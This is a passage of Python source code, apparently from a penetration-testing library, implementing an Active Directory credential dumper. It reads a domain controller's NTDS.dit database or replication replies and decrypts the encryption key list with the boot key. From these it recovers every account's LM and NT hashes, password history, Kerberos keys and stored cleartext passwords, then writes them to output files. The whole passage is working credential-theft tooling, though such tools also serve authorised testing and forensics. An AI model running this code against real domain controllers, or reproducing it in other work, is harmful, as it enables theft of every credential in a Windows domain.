            ('DecryptedPek',':'),
        )

    class PEK_KEY(Structure):
        structure = (
            ('Header','1s=b""'),
            ('Padding','3s=b""'),
            ('Key','16s=b""'),
        )

    class CRYPTED_HASH(Structure):
        structure = (
            ('Header','8s=b""'),
            ('KeyMaterial','16s=b""'),
            ('EncryptedHash','16s=b""'),
        )

    class CRYPTED_HASHW16(Structure):
        structure = (
            ('Header','8s=b""'),
            ('KeyMaterial','16s=b""'),
            ('Unknown','<L=0'),
            ('EncryptedHash', ':'),
        )

    class CRYPTED_HISTORY(Structure):
        structure = (
            ('Header','8s=b""'),
            ('KeyMaterial','16s=b""'),
            ('EncryptedHash',':'),
        )

    class CRYPTED_BLOB(Structure):
        structure = (
            ('Header','8s=b""'),
            ('KeyMaterial','16s=b""'),
            ('EncryptedHash',':'),
        )

    def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,
                 useVSSMethod=False, remoteSSMethodWMINTDS=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,
                 justUser=None, skipUser=None, ldapFilter=None, printUserStatus=False, localDomainSid=None,
                 perSecretCallback = lambda secretType, secret : _print_helper(secret),
                 resumeSessionMgr=ResumeSessionMgrInFile):
        self.__bootKey = bootKey
        self.__NTDS = ntdsFile
        self.__history = history
        self.__noLMHash = noLMHash
        self.__useVSSMethod = useVSSMethod
        self.__remoteSSMethodWMINTDS = remoteSSMethodWMINTDS
        self.__remoteOps = remoteOps
        self.__pwdLastSet = pwdLastSet
        self.__printUserStatus = printUserStatus
        self.__localDomainSid = localDomainSid
        if self.__NTDS is not None:
            self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
            self.__cursor = self.__ESEDB.openTable('datatable')
        self.__tmpUsers = list()
        self.__PEK = list()
        self.__cryptoCommon = CryptoCommon()
        self.__kerberosKeys = OrderedDict()
        self.__clearTextPwds = OrderedDict()
        self.__justNTLM = justNTLM
        self.__resumeSession = resumeSessionMgr(resumeSession)
        self.__outputFileName = outputFileName
        self.__justUser = justUser
        self.__ldapFilter = ldapFilter
        self.__skipUser = skipUser
        self.__perSecretCallback = perSecretCallback

		# these are all the columns that we need to get the secrets.
		# If in the future someone finds other columns containing interesting things please extend ths table.
        self.__filter_tables_usersecret = {
            self.NAME_TO_INTERNAL['objectSid'] : 1,
            self.NAME_TO_INTERNAL['dBCSPwd'] : 1,
            self.NAME_TO_INTERNAL['name'] : 1,
            self.NAME_TO_INTERNAL['sAMAccountType'] : 1,
            self.NAME_TO_INTERNAL['unicodePwd'] : 1,
            self.NAME_TO_INTERNAL['sAMAccountName'] : 1,
            self.NAME_TO_INTERNAL['userPrincipalName'] : 1,
            self.NAME_TO_INTERNAL['ntPwdHistory'] : 1,
            self.NAME_TO_INTERNAL['lmPwdHistory'] : 1,
            self.NAME_TO_INTERNAL['pwdLastSet'] : 1,
            self.NAME_TO_INTERNAL['userAccountControl'] : 1,
            self.NAME_TO_INTERNAL['supplementalCredentials'] : 1,
            self.NAME_TO_INTERNAL['pekList'] : 1,

        }

    @classmethod
    def __getOfflineDatatableSidComponents(cls, objectSid, minimumSubAuthorityCount, context):
        try:
            sid = LDAP_SID(data=unhexlify(objectSid))
            canonicalSid = sid.formatCanonical().split('-')
        except Exception as e:
            LOG.debug('Failed to parse %s while normalizing an offline datatable SID: %s', context, e)
            return None

        # TODO: Offline datatable objectSid values in our samples only reconcile the
        # domain root/pekList row with account rows when the final subauthority is
        # interpreted as big-endian. Keep this mixed decoding limited to offline
        # datatable SID normalization for NTDS row filtering until the on-disk
        # encoding/parsing mismatch is better understood.
        if sid['SubAuthorityCount'] < minimumSubAuthorityCount:
            LOG.debug('Ignoring unexpected %s without the expected domain SID shape: %s', context,
                      sid.formatCanonical())
            return None

        subAuthorities = sid['SubAuthority']
        canonicalSid[-1] = str(unpack('>L', subAuthorities[-4:])[0])
        return canonicalSid

    @classmethod
    def __getAccountDomainSid(cls, objectSid):
        sidComponents = cls.__getOfflineDatatableSidComponents(objectSid, 5, 'account objectSid')
        if sidComponents is None:
            return None
        return '-'.join(sidComponents[:-1])

    @classmethod
    def __getPekListDomainSid(cls, objectSid):
        sidComponents = cls.__getOfflineDatatableSidComponents(objectSid, 4, 'pekList objectSid')
        if sidComponents is None:
            return None
        return '-'.join(sidComponents)

    @classmethod
    def getLocalDomainSid(cls, ntdsFile, isRemote=False):
        if ntdsFile is None:
            return None

        eseDB = ESENT_DB(ntdsFile, isRemote=isRemote)
        try:
            cursor = eseDB.openTable('datatable')
            filter_tables = {
                cls.NAME_TO_INTERNAL['objectSid']: 1,
                cls.NAME_TO_INTERNAL['pekList']: 1,
            }

            while True:
                try:
                    record = eseDB.getNextRow(cursor, filter_tables=filter_tables)
                except Exception:
                    LOG.error('Error while calling getNextRow() for local domain SID resolution, trying the next one')
                    continue

                if record is None:
                    return None

                if record[cls.NAME_TO_INTERNAL['pekList']] is None:
                    continue

                objectSid = record[cls.NAME_TO_INTERNAL['objectSid']]
                if objectSid is None:
                    return None

                return cls.__getPekListDomainSid(objectSid)
        finally:
            eseDB.close()

    def __isLocalDomainAccount(self, record):
        if record[self.NAME_TO_INTERNAL['sAMAccountType']] not in self.ACCOUNT_TYPES:
            return False

        if self.__localDomainSid is None:
            return True

        objectSid = record[self.NAME_TO_INTERNAL['objectSid']]
        if objectSid is None:
            return False

        return self.__getAccountDomainSid(objectSid) == self.__localDomainSid

    def getResumeSessionFile(self):
        return self.__resumeSession.getFileName()

    def __getPek(self):
        LOG.info('Searching for pekList, be patient')
        peklist = None
        while True:
            try:
                record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret)
            except:
                LOG.error('Error while calling getNextRow(), trying the next one')
                continue

            if record is None:
                break
            elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
                peklist =  unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
                break
            elif self.__isLocalDomainAccount(record):
                # Okey.. we found some users, but we're not yet ready to process them.
                # Let's just store them in a temp list
                self.__tmpUsers.append(record)

        if peklist is not None:
            encryptedPekList = self.PEKLIST_ENC(peklist)
            if encryptedPekList['Header'][:4] == b'\x02\x00\x00\x00':
                # Up to Windows 2012 R2 looks like header starts this way
                md5 = hashlib.new('md5')
                md5.update(self.__bootKey)
                for i in range(1000):
                    md5.update(encryptedPekList['KeyMaterial'])
                tmpKey = md5.digest()
                rc4 = ARC4.new(tmpKey)
                decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
                PEKLen = len(self.PEK_KEY())
                for i in range(len( decryptedPekList['DecryptedPek'] ) // PEKLen ):
                    cursor = i * PEKLen
                    pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
                    LOG.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']).decode('utf-8'))
                    self.__PEK.append(pek['Key'])

            elif encryptedPekList['Header'][:4] == b'\x03\x00\x00\x00':
                # Windows 2016 TP4 header starts this way
                # Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.
                # using AES:
                # Key: the bootKey
                # CipherText: PEKLIST_ENC['EncryptedPek']
                # IV: PEKLIST_ENC['KeyMaterial']
                decryptedPekList = self.PEKLIST_PLAIN(
                    self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'],
                                                   encryptedPekList['KeyMaterial']))

                # PEK list entries take the form:
                #   index (4 byte LE int), PEK (16 byte key)
                # the entries are in ascending order, and the list is terminated
                # by an entry with a non-sequential index (08080808 observed)
                pos, cur_index = 0, 0
                while True:
                    pek_entry = decryptedPekList['DecryptedPek'][pos:pos+20]
                    if len(pek_entry) < 20: break # if list truncated, should not happen
                    index, pek = unpack('<L16s', pek_entry)
                    if index != cur_index: break # break on non-sequential index
                    self.__PEK.append(pek)
                    LOG.info("PEK # %d found and decrypted: %s", index, hexlify(pek).decode('utf-8'))
                    cur_index += 1
                    pos += 20

    def __removeRC4Layer(self, cryptedHash):
        md5 = hashlib.new('md5')
        # PEK index can be found on header of each ciphered blob (pos 8-10)
        md5.update(self.__getPekFromHeader(cryptedHash['Header']))
        md5.update(cryptedHash['KeyMaterial'])
        tmpKey = md5.digest()
        rc4 = ARC4.new(tmpKey)
        plainText = rc4.encrypt(cryptedHash['EncryptedHash'])

        return plainText

    def __getPekFromHeader(self, header):
        # PEK index can be found on header of each ciphered blob (pos 8-10).
        pekIndex = int(hexlify(header)[8:10], 16)
        if pekIndex >= len(self.__PEK):
            raise self.MissingPekIndex('Encrypted secret references PEK index %d, but only %d PEK entries are available' %
                                       (pekIndex, len(self.__PEK)))

        return self.__PEK[pekIndex]

    def __removeDESLayer(self, cryptedHash, rid):
        Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))

        Crypt1 = DES.new(Key1, DES.MODE_ECB)
        Crypt2 = DES.new(Key2, DES.MODE_ECB)

        decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])

        return decryptedHash

    @staticmethod
    def __fileTimeToDateTime(t):
        t -= 116444736000000000
        t //= 10000000
        if t < 0:
            return 'never'
        else:
            dt = datetime.fromtimestamp(t)
            return dt.strftime("%Y-%m-%d %H:%M")

    def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
        # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
        haveInfo = False
        LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo')
        if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:
            if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
                if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
                    if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
                        domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
                        userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
                    else:
                        userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
                    cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))

                    if cipherText['Header'][:4] == b'\x13\x00\x00\x00':
                        # Win2016 TP4 decryption is different
                        plainText = self.__cryptoCommon.decryptAES(self.__getPekFromHeader(cipherText['Header']),
                                                                   cipherText['EncryptedHash'][4:],
                                                                   cipherText['KeyMaterial'])
                        haveInfo = True
                    else:
                        plainText = self.__removeRC4Layer(cipherText)
                        haveInfo = True
        else:
            domain = None
            userName = None
            replyVersion = 'V%d' % record['pdwOutVersion']
            for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
                try:
                    attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
                    LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
                except Exception as e:
                    LOG.debug('Failed to execute OidFromAttid with error %s' % e)
                    LOG.debug('Exception', exc_info=True)
                    # Fallbacking to fixed table and hope for the best
                    attId = attr['attrTyp']
                    LOOKUP_TABLE = self.NAME_TO_ATTRTYP

                if attId == LOOKUP_TABLE['userPrincipalName']:
                    if attr['AttrVal']['valCount'] > 0:
                        try:
                            domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
                        except:
                            domain = None
                    else:
                        domain = None
                elif attId == LOOKUP_TABLE['sAMAccountName']:
                    if attr['AttrVal']['valCount'] > 0:
                        try:
                            userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
                        except:
                            LOG.error(
                                'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
                            userName = 'unknown'
                    else:
                        LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
                        userName = 'unknown'
                if attId == LOOKUP_TABLE['supplementalCredentials']:
                    if attr['AttrVal']['valCount'] > 0:
                        blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                        plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
                        if len(plainText) > 24:
                            haveInfo = True
            if domain is not None:
                userName = '%s\\%s' % (domain, userName)

        if haveInfo is True:
            try:
                _, propertyCount, propertiesData = samr.unpack_user_properties(plainText)
            except:
                # On some old w2k3 there might be user properties that don't
                # match [MS-SAMR] structure, discarding them
                return
            for _ in range(propertyCount):
                try:
                    userProperty = samr.USER_PROPERTY(propertiesData)
                except Exception:
                    LOG.debug(
                        'Malformed supplemental credential property for %s, discarding the remaining data',
                        userName,
                        exc_info=True,
                    )
                    return
                propertiesData = propertiesData[len(userProperty):]
                # For now, we will only process Newer Kerberos Keys and CLEARTEXT
                if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
                    propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
                    kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
                    data = kerbStoredCredentialNew['Buffer']
                    for credential in range(kerbStoredCredentialNew['CredentialCount']):
                        keyDataNew = samr.KERB_KEY_DATA_NEW(data)
                        data = data[len(keyDataNew):]
                        keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]

                        if  keyDataNew['KeyType'] in self.KERBEROS_TYPE:
                            answer =  "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8'))
                        else:
                            answer =  "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8'))
                        # We're just storing the keys, not printing them, to make the output more readable
                        # This is kind of ugly... but it's what I came up with tonight to get an ordered
                        # set :P. Better ideas welcomed ;)
                        self.__kerberosKeys[answer] = None
                        if keysFile is not None:
                            self.__writeOutput(keysFile, answer + '\n')
                elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
                    # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
                    # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
                    try:
                        answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
                    except UnicodeDecodeError:
                        # This could be because we're decoding a machine password. Printing it hex
                        answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8'))

                    self.__clearTextPwds[answer] = None
                    if clearTextFile is not None:
                        self.__writeOutput(clearTextFile, answer + '\n')

            if clearTextFile is not None:
                clearTextFile.flush()
            if keysFile is not None:
                keysFile.flush()

        LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo')

    def __decryptHash(self, record, prefixTable=None, outputFile=None):
        LOG.debug('Entering NTDSHashes.__decryptHash')
        if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:
            LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])

            sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
            rid = sid.formatCanonical().split('-')[-1]

            if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
                encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
                if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00':
                    # Win2016 TP4 decryption is different
                    encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
                    tmpLMHash = self.__cryptoCommon.decryptAES(self.__getPekFromHeader(encryptedLMHash['Header']),
                                                               encryptedLMHash['EncryptedHash'][:16],
                                                               encryptedLMHash['KeyMaterial'])
                else:
                    tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
                LMHash = self.__removeDESLayer(tmpLMHash, rid)
            else:
                LMHash = ntlm.LMOWFv1('', '')

            if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
                encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
                if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00':
                    # Win2016 TP4 decryption is different
                    encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
                    tmpNTHash = self.__cryptoCommon.decryptAES(self.__getPekFromHeader(encryptedNTHash['Header']),
                                                               encryptedNTHash['EncryptedHash'][:16],
                                                               encryptedNTHash['KeyMaterial'])
                else:
                    tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
                NTHash = self.__removeDESLayer(tmpNTHash, rid)
            else:
                NTHash = ntlm.NTOWFv1('', '')

            if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
                domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
                userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
            else:
                userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]

            if self.__printUserStatus is True:
                # Enabled / disabled users
                if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None:
                    if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1':
                        userAccountStatus = 'Disabled'
                    elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0':
                        userAccountStatus = 'Enabled'
                else:
                    userAccountStatus = 'N/A'

            if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
                pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
            else:
                pwdLastSet = 'N/A'

            answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
            if self.__pwdLastSet is True:
                answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
            if self.__printUserStatus is True:
                answer = "%s (status=%s)" % (answer, userAccountStatus)

            self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)

            if outputFile is not None:
                self.__writeOutput(outputFile, answer + '\n')

            if self.__history:
                LMHistory = []
                NTHistory = []
                if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
                    encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
                    tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
                    for i in range(0, len(tmpLMHistory) // 16):
                        LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
                        LMHistory.append(LMHash)

                if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
                    encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))

                    if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00':
                        # Win2016 TP4 decryption is different
                        encryptedNTHistory = self.CRYPTED_HASHW16(
                            unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
                        tmpNTHistory = self.__cryptoCommon.decryptAES(self.__getPekFromHeader(encryptedNTHistory['Header']),
                                                                      encryptedNTHistory['EncryptedHash'],
                                                                      encryptedNTHistory['KeyMaterial'])
                    else:
                        tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)

                    for i in range(0, len(tmpNTHistory) // 16):
                        NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
                        NTHistory.append(NTHash)

                for i, (LMHash, NTHash) in enumerate(
                        map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
                    if self.__noLMHash:
                        lmhash = hexlify(ntlm.LMOWFv1('', ''))
                    else:
                        lmhash = hexlify(LMHash)

                    answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
                                                           hexlify(NTHash).decode('utf-8'))
                    if outputFile is not None:
                        self.__writeOutput(outputFile, answer + '\n')
                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
        else:
            replyVersion = 'V%d' %record['pdwOutVersion']
            LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
            domain = None
            if self.__history:
                LMHistory = []
                NTHistory = []

            rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0]

            for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
                try:
                    attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
                    LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
                except Exception as e:
                    LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
                    LOG.debug('Exception', exc_info=True)
                    # Fallbacking to fixed table and hope for the best
                    attId = attr['attrTyp']
                    LOOKUP_TABLE = self.NAME_TO_ATTRTYP

                if attId == LOOKUP_TABLE['dBCSPwd']:
                    if attr['AttrVal']['valCount'] > 0:
                        encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                        encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
                        LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
                    else:
                        LMHash = ntlm.LMOWFv1('', '')
                elif attId == LOOKUP_TABLE['unicodePwd']:
                    if attr['AttrVal']['valCount'] > 0:
                        encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                        encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
                        NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
                    else:
                        NTHash = ntlm.NTOWFv1('', '')
                elif attId == LOOKUP_TABLE['userPrincipalName']:
                    if attr['AttrVal']['valCount'] > 0:
                        try:
                            domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
                        except:
                            domain = None
                    else:
                        domain = None
                elif attId == LOOKUP_TABLE['sAMAccountName']:
                    if attr['AttrVal']['valCount'] > 0:
                        try:
                            userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
                        except:
                            LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
                            userName = 'unknown'
                    else:
                        LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
                        userName = 'unknown'
                elif attId == LOOKUP_TABLE['objectSid']:
                    if attr['AttrVal']['valCount'] > 0:
                        objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                    else:
                        LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
                        objectSid = rid
                elif attId == LOOKUP_TABLE['pwdLastSet']:
                    if attr['AttrVal']['valCount'] > 0:
                        try:
                            pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
                        except:
                            LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
                            pwdLastSet = 'N/A'
                elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']:
                    if attr['AttrVal']['valCount'] > 0:
                        if (unpack('<L', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE:
                            userAccountStatus = 'Disabled'
                        else:
                            userAccountStatus = 'Enabled'
                    else:
                        userAccountStatus = 'N/A'

                if self.__history:
                    if attId == LOOKUP_TABLE['lmPwdHistory']:
                        if attr['AttrVal']['valCount'] > 0:
                            encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                            tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
                            for i in range(0, len(tmpLMHistory) // 16):
                                LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
                                LMHistory.append(LMHashHistory)
                        else:
                            LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
                    elif attId == LOOKUP_TABLE['ntPwdHistory']:
                        if attr['AttrVal']['valCount'] > 0:
                            encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                            tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
                            for i in range(0, len(tmpNTHistory) // 16):
                                NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
                                NTHistory.append(NTHashHistory)
                        else:
                            LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

            if domain is not None:
                userName = '%s\\%s' % (domain, userName)

            answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
            if self.__pwdLastSet is True:
                answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
            if self.__printUserStatus is True:
                answer = "%s (status=%s)" % (answer, userAccountStatus)
            self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)

            if outputFile is not None:
                self.__writeOutput(outputFile, answer + '\n')

            if self.__history:
                for i, (LMHashHistory, NTHashHistory) in enumerate(
                        map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
                    if self.__noLMHash:
                        lmhash = hexlify(ntlm.LMOWFv1('', ''))
                    else:
                        lmhash = hexlify(LMHashHistory)

                    answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
                                                           hexlify(NTHashHistory).decode('utf-8'))
                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
                    if outputFile is not None:
                        self.__writeOutput(outputFile, answer + '\n')

        if outputFile is not None:
            outputFile.flush()

        LOG.debug('Leaving NTDSHashes.__decryptHash')

    def dump(self):
        hashesOutputFile = None
        keysOutputFile = None
        clearTextOutputFile = None
        skipUsers = []

        if self.__skipUser:
            if os.path.isfile(self.__skipUser):
                f = open(self.__skipUser, 'r')
                skipUsers = [ line.strip() for line in f ]
                f.close()
            else:
                skipUsers = self.__skipUser.split(',')
        
        if self.__useVSSMethod is True or self.__remoteSSMethodWMINTDS is True:
            if self.__NTDS is None:
                # No NTDS.dit file provided and were asked to use VSS or Shadow Snapshot Method via WMI
                return
        else:
            if self.__NTDS is None:
                # DRSUAPI method, checking whether target is a DC
                try:
                    if self.__remoteOps is not None:
                        try:
                            self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
                        except:
                            if os.getenv('KRB5CCNAME') is not None and (self.__justUser is not None or self.__ldapFilter is not None):
                                # RemoteOperations failed. That might be because there was no way to log into the
                                # target system. We just have a last resort. Hope we have tickets cached and that they
                                # will work
                                pass
                            else:
                                raise
                    else:
                        raise Exception('No remote Operations available')
                except Exception as e:
                    LOG.debug('Exiting NTDSHashes.dump() because %s' % e)
                    # Target's not a DC
                    return

        try:
            # Let's check if we need to save results in a file
            if self.__outputFileName is not None:
                LOG.debug('Saving output to %s' % self.__outputFileName)
                # We have to export. Are we resuming a session?
                if self.__resumeSession.hasResumeData():
                    mode = 'a+'
                else:
                    mode = 'w+'
                hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode)
                if self.__justNTLM is False:
                    keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode)
                    clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode)

            LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
            if self.__useVSSMethod or self.__remoteSSMethodWMINTDS:
                # We start getting rows from the table aiming at reaching
                # the pekList. If we find users records we stored them
                # in a temp list for later process.
                self.__getPek()
                if self.__PEK is not None:
                    LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS)
                    # First of all, if we have users already cached, let's decrypt their hashes
                    for record in self.__tmpUsers:
                        try:
                            self.__decryptHash(record, outputFile=hashesOutputFile)
                            if self.__justNTLM is False:
                                self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
                        except Exception as e:
                            if isinstance(e, self.MissingPekIndex):
                                try:
                                    LOG.warning("Skipping row for user %s: %s" %
                                                (record[self.NAME_TO_INTERNAL['name']], e))
                                except:
                                    LOG.warning("Skipping row: %s" % e)
                                continue
                            LOG.debug('Exception', exc_info=True)
                            try:
                                LOG.error(
                                    "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
                                LOG.error(str(e))
                                pass
                            except:
                                LOG.error("Error while processing row!")
                                LOG.error(str(e))
                                pass

                    # Now let's keep moving through the NTDS file and decrypting what we find
                    while True:
                        try:
                            record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret)
                        except:
                            LOG.error('Error while calling getNextRow(), trying the next one')
                            continue

                        if record is None:
                            break
                        try:
                            if self.__isLocalDomainAccount(record):
                                self.__decryptHash(record, outputFile=hashesOutputFile)
                                if self.__justNTLM is False:
                                    self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
                        except Exception as e:
                            if isinstance(e, self.MissingPekIndex):
                                try:
                                    LOG.warning("Skipping row for user %s: %s" %
                                                (record[self.NAME_TO_INTERNAL['name']], e))
                                except:
                                    LOG.warning("Skipping row: %s" % e)
                                continue
                            LOG.debug('Exception', exc_info=True)
                            try:
                                LOG.error(
                                    "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
                                LOG.error(str(e))
                                pass
                            except:
                                LOG.error("Error while processing row!")
                                LOG.error(str(e))
                                pass
            else:
